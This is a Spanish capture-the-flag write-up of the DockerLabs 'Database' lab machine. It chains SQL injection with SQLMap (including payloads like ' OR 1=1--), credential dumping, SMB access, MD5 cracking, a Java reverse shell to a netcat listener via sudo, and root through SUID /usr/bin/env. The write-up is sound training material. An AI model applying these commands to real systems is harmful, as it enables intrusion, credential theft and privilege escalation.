Database

DockerLabs — Linux · SQLi → SMB → Java Reverse Shell → SUID env

● MEDIO DOCKERLABS LINUX SQL INJECTION 📅 Abril 2026 · By Brandeiks

Resumen

Database es una máquina de dificultad media de la plataforma DockerLabs. Corre sobre Linux Ubuntu 22.04 (Jammy) y expone una aplicación web PHP con un formulario de login vulnerable a inyección SQL, un servicio SMB con recursos compartidos accesibles y acceso remoto via SSH.

El vector de ataque inicia con la explotación del login web mediante SQLMap, lo que permite extraer credenciales de la base de datos MySQL. Posteriormente se accede al servicio SMB con dichas credenciales, donde se obtiene un hash que al crackearse otorga acceso SSH al usuario augustus. Desde ahí se realiza movimiento lateral hacia dylan mediante una reverse shell en Java, y finalmente se escala a root explotando el bit SUID del binario /usr/bin/env.

FaseTécnica / HerramientaResultado
ReconocimientoNmap -sCV full scanPuertos 22, 80, 139, 445 abiertos
Enumeración WebBurp Suite + navegadorRequest POST capturado
ExplotaciónSQLMap sobre request.txtCredenciales: dylan / KJSDFG789FGSDF78
Post-explotaciónsmbclient + CrackStationPassword de augustus: lovely
Acceso inicialSSH + Java reverse shellShell como dylan
PrivescSUID en /usr/bin/envShell como root

Reconocimiento

1
DESPLIEGUE DE LA MÁQUINA

El primer paso es desplegar la máquina vulnerable utilizando el script auto_deploy.sh que provee DockerLabs. Este script levanta un contenedor Docker a partir del archivo database.tar, asigna una IP automáticamente dentro de la red Docker (172.17.0.x) y mantiene la máquina activa hasta que se presiona Ctrl+C.

DEPLOY
$ sudo bash auto_deploy.sh database.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es ——> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
2
ESCANEO DE PUERTOS CON NMAP

En una segunda terminal realizamos un escaneo exhaustivo de todos los puertos TCP de la máquina objetivo. Nmap descubre 4 puertos abiertos: SSH en el puerto 22, HTTP en el 80 con Apache 2.4.52 corriendo una aplicación PHP (título "Iniciar Sesión"), y Samba (SMB) en los puertos 139 y 445. El sistema operativo se identifica como Linux Ubuntu 22.04 Jammy.

La presencia simultánea de un login web y SMB expuesto es una señal de ataque interesante: si se obtienen credenciales por una vía, pueden reutilizarse en la otra.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2
Starting Nmap 7.99 — Nmap scan report for 172.17.0.2
Host is up (0.000028s latency).
 
PORT     STATE SERVICE     VERSION
22/tcp   open   ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp   open   http        Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Iniciar Sesión
139/tcp  open   netbios-ssn Samba smbd 4
445/tcp  open   netbios-ssn Samba smbd 4
 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
| smb2-security-mode: Message signing enabled but not required

Enumeración Web

3
ACCESO AL PUERTO 80

Accedemos a http://172.17.0.2/ y encontramos una página de login simple con campos User y Password. Se realizaron intentos manuales de inyección SQL en los campos del formulario (payloads como ' OR 1=1--, ' OR '1'='1, etc.) sin obtener resultado, ya que la aplicación no devuelve mensajes de error visibles que permitan confirmar la vulnerabilidad de forma manual.

4
INTERCEPTACIÓN CON BURP SUITE

Para poder analizar la petición HTTP de forma estructurada y pasarla luego a SQLMap, interceptamos el tráfico con Burp Suite. Configuramos el proxy del navegador apuntando a Burp (127.0.0.1:8080), enviamos el formulario con las credenciales genéricas admin / admin y capturamos el request POST completo.

El request interceptado muestra que los parámetros enviados son name y password via POST a /index.php. Guardamos este request en un archivo request.txt usando la opción "Save item" de Burp, lo que nos permitirá pasárselo directamente a SQLMap.

BURP · CONTENIDO DE request.txt
POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Type: application/x-www-form-urlencoded
...
 
name=admin&password=admin&submit=

// ¿POR QUÉ GUARDAR EL REQUEST?

SQLMap necesita conocer la estructura exacta de la petición HTTP para poder inyectar payloads en los parámetros correctos. Al pasarle el archivo con -r request.txt, no tenemos que especificar URL, método, cabeceras ni parámetros manualmente — SQLMap lo lee todo del archivo.


Explotación — SQL Injection

5
DETECCIÓN DE VULNERABILIDAD CON SQLMAP

Ejecutamos SQLMap apuntando al archivo de request guardado. SQLMap detecta dos puntos de inyección: el parámetro name y el parámetro password, ambos de tipo Single quoted string en una petición POST. Seleccionamos el punto [1] — password para las inyecciones.

SQLMap confirma que el backend es MySQL ≥ 5.1 (MariaDB fork), que el servidor web corre Apache 2.4.52 sobre Ubuntu 22.04 Jammy.

SQLMAP
$ sqlmap -r request.txt
[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL ≥ 5.1 (MariaDB fork)
6
LISTADO DE BASES DE DATOS

Con la flag --dbs le indicamos a SQLMap que enumere todas las bases de datos disponibles en el servidor. Se obtienen 5 bases de datos: las 4 del sistema (information_schema, mysql, performance_schema, sys) y una personalizada: register. Esta última es la que contiene los datos de la aplicación.

SQLMAP
$ sqlmap -r request.txt --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] register
[*] sys
7
LISTADO DE TABLAS EN LA DB "REGISTER"

Especificamos la base de datos register con la flag -D y le pedimos las tablas con --tables. SQLMap devuelve una única tabla: users. Esta tabla es la que almacena las credenciales del sistema.

SQLMAP
$ sqlmap -r request.txt -D register --tables
Database: register
[1 table]
+---------+
| users |
+---------+
8
DUMP DE CREDENCIALES

Con la flag --dump extraemos el contenido completo de la tabla users. El resultado revela un único registro con las credenciales en texto plano. Intentamos conectarnos via SSH con estas credenciales pero el acceso fue denegado — el usuario dylan no tiene SSH habilitado directamente o la contraseña es incorrecta para SSH.

SQLMAP
$ sqlmap -r request.txt -D register -T users --dump
Database: register | Table: users | [1 entry]
+------------------+----------+
| passwd           | username |
+------------------+----------+
| KJSDFG789FGSDF78 | dylan |
+------------------+----------+
USUARIO
dylan
CONTRASEÑA
KJSDFG789FGSDF78
FUENTE
DB register.users

Enumeración SMB

9
LISTADO DE RECURSOS COMPARTIDOS

Dado que SSH no funcionó con las credenciales de dylan, enumeramos el servicio SMB (Server Message Block) que Nmap detectó en los puertos 139 y 445. Usamos smbclient -L con la flag -N (null session, sin contraseña) para listar los recursos disponibles. Se identifican los shares estándar (print$, IPC$) y uno personalizado: shared.

SMBCLIENT
$ smbclient -L //172.17.0.2/ -N
Sharename     Type    Comment
---------     ----    -------
print$        Disk    Printer Drivers
shared        Disk
IPC$          IPC     IPC Service (439e83231dbd server)
10
ACCESO AL SHARE "SHARED" CON CREDENCIALES DE DYLAN

Nos conectamos al recurso compartido shared autenticándonos como el usuario dylan con la contraseña obtenida vía SQLMap. Dentro del share encontramos un archivo de texto: augustus.txt. Lo descargamos a nuestra máquina con el comando get de smbclient.

SMBCLIENT
$ smbclient //172.17.0.2/shared -U dylan
Password: KJSDFG789FGSDF78
smb: \> dir
smb: \> get augustus.txt
getting file \augustus.txt of size 33
11
ANÁLISIS DEL CONTENIDO — HASH MD5

Al abrir augustus.txt encontramos una cadena de 32 caracteres hexadecimales: 061fba5bdfc076bb7362616668de87c8. La longitud y formato corresponden a un hash MD5. Para obtener el texto original usamos CrackStation, un servicio online que compara hashes contra enormes diccionarios precomputados (rainbow tables).

061fba5bdfc076bb7362616668de87c8
12
CRACKEO DEL HASH — CRACKSTATION

Introducimos el hash en CrackStation (crackstation.net). El servicio identifica el tipo como md5 y devuelve el resultado de forma inmediata: lovely. Esta es la contraseña del usuario augustus en el sistema.

USUARIO
augustus
HASH (MD5)
061fba5bdfc076bb7362616668de87c8
CONTRASEÑA
lovely

Acceso Inicial — SSH

13
CONEXIÓN SSH COMO AUGUSTUS

Con las credenciales obtenidas nos conectamos via SSH al usuario augustus. El acceso es exitoso. Una vez dentro, ejecutamos sudo -l para listar los comandos que augustus puede ejecutar con privilegios elevados.

El sistema revela una entrada crítica: augustus puede ejecutar como el usuario dylan el binario /usr/bin/java sin necesidad de contraseña. Esto nos abre un vector de movimiento lateral hacia dylan.

SSH
$ ssh augustus@172.17.0.2
augustus@172.17.0.2's password: lovely
 
augustus@439e83231dbd:~$ sudo -l
User augustus may run the following commands on 439e83231dbd:
    (dylan) /usr/bin/java

// MOVIMIENTO LATERAL NECESARIO

Augustus puede ejecutar /usr/bin/java como dylan. Esto significa que si compilamos y ejecutamos código Java malicioso, ese proceso correrá con la identidad de dylan. El plan: crear una reverse shell en Java, compilarla en /tmp, y ejecutarla con sudo -u dylan.


Escalada de Privilegios — dylan

14
GENERACIÓN DE REVERSE SHELL EN JAVA

Usamos el generador online revshells.com para obtener el código fuente de una reverse shell en Java. Configuramos como IP la dirección de nuestra máquina atacante (172.17.0.1) y como puerto 9001. El código generado crea una clase shell que al ejecutarse abre una conexión TCP hacia nuestra máquina y lanza una bash interactiva.

15
LISTENER EN NUESTRA MÁQUINA

Antes de ejecutar el payload, ponemos netcat a escuchar en el puerto 9001 para recibir la conexión entrante de la reverse shell. Es fundamental iniciar el listener antes de ejecutar el código Java.

NETCAT
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 41330
16
CREACIÓN Y COMPILACIÓN DEL PAYLOAD

Desde la sesión SSH de augustus, nos movemos al directorio /tmp (escribible por todos los usuarios) y creamos el archivo shell.java con el código de la reverse shell. Luego lo compilamos con javac, lo que genera el bytecode shell.class.

SSH — AUGUSTUS
augustus@...:~$ cd /tmp
augustus@...:/tmp$ nano shell.java
    # pegar el código de la reverse shell
augustus@...:/tmp$ ls
hsperfdata_root  shell.java
17
COMPILACIÓN CON JAVAC
JAVAC
augustus@...:/tmp$ javac shell.java
# genera shell.class (bytecode Java listo para ejecutar)
18
EJECUCIÓN COMO DYLAN — MOVIMIENTO LATERAL

Ejecutamos el payload Java usando el permiso sudo -u dylan. La flag -cp /tmp indica el classpath (directorio donde está shell.class) y shell es el nombre de la clase a ejecutar. El proceso corre como dylan y la reverse shell conecta con nuestro listener de netcat, otorgándonos una shell interactiva como dylan.

SUDO — JAVA
augustus@...:/tmp$ sudo -u dylan /usr/bin/java -cp /tmp shell
# En el listener de netcat recibimos la shell de dylan:
dylan@d7089f8d667f:/tmp$
19
BÚSQUEDA DE BINARIOS SUID

Ahora como dylan, buscamos binarios con el bit SUID activado usando find. Los binarios SUID se ejecutan con los permisos de su propietario (generalmente root) sin importar quién los invoque. Entre los resultados encontramos /usr/bin/env, que está listado en GTFOBins como explotable para escalar privilegios.

FIND SUID
dylan@...:/tmp$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su | /usr/bin/chfn | /usr/bin/newgrp
/usr/bin/mount | /usr/bin/umount | /usr/bin/passwd
/usr/bin/env
/usr/bin/chsh | /usr/bin/sudo

Root

20
GTFOBINS — EXPLOTACIÓN DE /usr/bin/env

Consultamos GTFOBins (gtfobins.github.io) para obtener el payload correcto para /usr/bin/env con SUID. GTFOBins explica que cuando env tiene el bit SUID activo, puede spawner una shell heredando los privilegios elevados del propietario del binario (root), siempre que se use la flag -p para evitar que el shell descarte los privilegios efectivos.

21
EXPLOTACIÓN SUID — OBTENEMOS ROOT

Ejecutamos el comando de GTFOBins. La flag -p de /bin/sh indica que se preserve el effective UID (eUID = 0 = root) sin resetearlo al real UID del usuario que lo invoca. El comando whoami confirma que somos root. Máquina comprometida.

PRIVESC → ROOT
dylan@...:/tmp$ /usr/bin/env /bin/sh -p
# whoami
root
✓ PWNED
MÁQUINA DATABASE — DOCKERLABS — COMPLETADA

Referencia de Comandos

Descripción detallada de cada herramienta y comando utilizado en este writeup.

Nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP>

Escáner de redes y puertos. Permite descubrir qué puertos TCP/UDP están abiertos en un host y qué servicios (versión, OS, scripts) corren en ellos.

  • -p- → escanea los 65535 puertos TCP
  • -sS → SYN scan (sigiloso, no completa el handshake)
  • -sC → ejecuta scripts NSE por defecto
  • -sV → detecta versión de servicios
  • -n → sin resolución DNS (más rápido)
  • -Pn → skip host discovery (trata el host como activo)
  • --min-rate=5000 → mínimo 5000 paquetes/segundo
  • --open → muestra solo puertos abiertos
SQLMap
sqlmap -r request.txt [opciones]

Herramienta automática de detección y explotación de inyecciones SQL. Soporta múltiples técnicas (boolean-based, time-based, UNION, etc.) y permite extraer el contenido completo de bases de datos.

  • -r request.txt → lee la petición HTTP desde archivo
  • --dbs → enumera todas las bases de datos
  • -D <db> → selecciona una base de datos
  • --tables → lista las tablas de la DB seleccionada
  • -T <tabla> → selecciona una tabla
  • --dump → extrae (vuelca) el contenido de la tabla
smbclient
smbclient //IP/share -U usuario

Cliente de línea de comandos para el protocolo SMB/CIFS. Permite listar recursos compartidos de red, conectarse a ellos, navegar directorios y transferir archivos, de forma similar a un cliente FTP.

  • -L //IP/ → lista todos los shares disponibles
  • -N → null session (sin autenticación)
  • -U usuario → especifica el usuario a autenticar
  • dir → (dentro del cliente) lista archivos
  • get archivo → descarga un archivo al local
Netcat (nc)
nc -lvnp <puerto>

Utilidad de red multipropósito conocida como "la navaja suiza de TCP/IP". En pentesting se usa principalmente para establecer listeners que reciben conexiones de reverse shells.

  • -l → modo escucha (listener)
  • -v → verbose (muestra info de conexiones)
  • -n → sin resolución DNS
  • -p 9001 → puerto a escuchar
javac / java
javac shell.java → java -cp /tmp shell

javac es el compilador de Java: transforma código fuente (.java) en bytecode (.class) ejecutable por la JVM. java ejecuta el bytecode compilado. Usados juntos permiten ejecutar un payload Java arbitrario.

  • javac shell.java → compila y genera shell.class
  • -cp /tmp → classpath: directorio donde buscar .class
  • shell → nombre de la clase principal a ejecutar
  • sudo -u dylan → ejecuta el proceso como dylan
find (SUID)
find / -perm -4000 2>/dev/null

El comando find busca archivos por criterios. Con -perm -4000 localiza todos los binarios con el bit SUID activo — archivos que se ejecutan con los permisos de su propietario, frecuentemente root.

  • / → busca desde la raíz del sistema
  • -perm -4000 → bit SUID activo (4 = SUID)
  • 2>/dev/null → descarta errores de "permission denied"
/usr/bin/env (SUID)
/usr/bin/env /bin/sh -p

env es un binario que ejecuta programas en un entorno modificado. Cuando tiene el bit SUID activo (propietario root), puede ser abusado para spawnear una shell con privilegios efectivos de root sin necesidad de contraseña.

  • SUID → el proceso hereda el eUID del propietario (root)
  • /bin/sh → shell a ejecutar
  • -p → preserve privileges: no descarta el eUID=0
  • GTFOBins → referencia: gtfobins.github.io/gtfobins/env/
sudo -l / sudo -u
sudo -l · sudo -u usuario comando

sudo permite ejecutar comandos como otro usuario (por defecto root). -l lista qué comandos puede ejecutar el usuario actual. -u usuario especifica como qué usuario ejecutar — clave para el movimiento lateral de augustus a dylan.

  • -l → lista permisos sudo del usuario actual
  • -u dylan → ejecuta el siguiente comando como dylan
  • (dylan) NOPASSWD: → sin contraseña requerida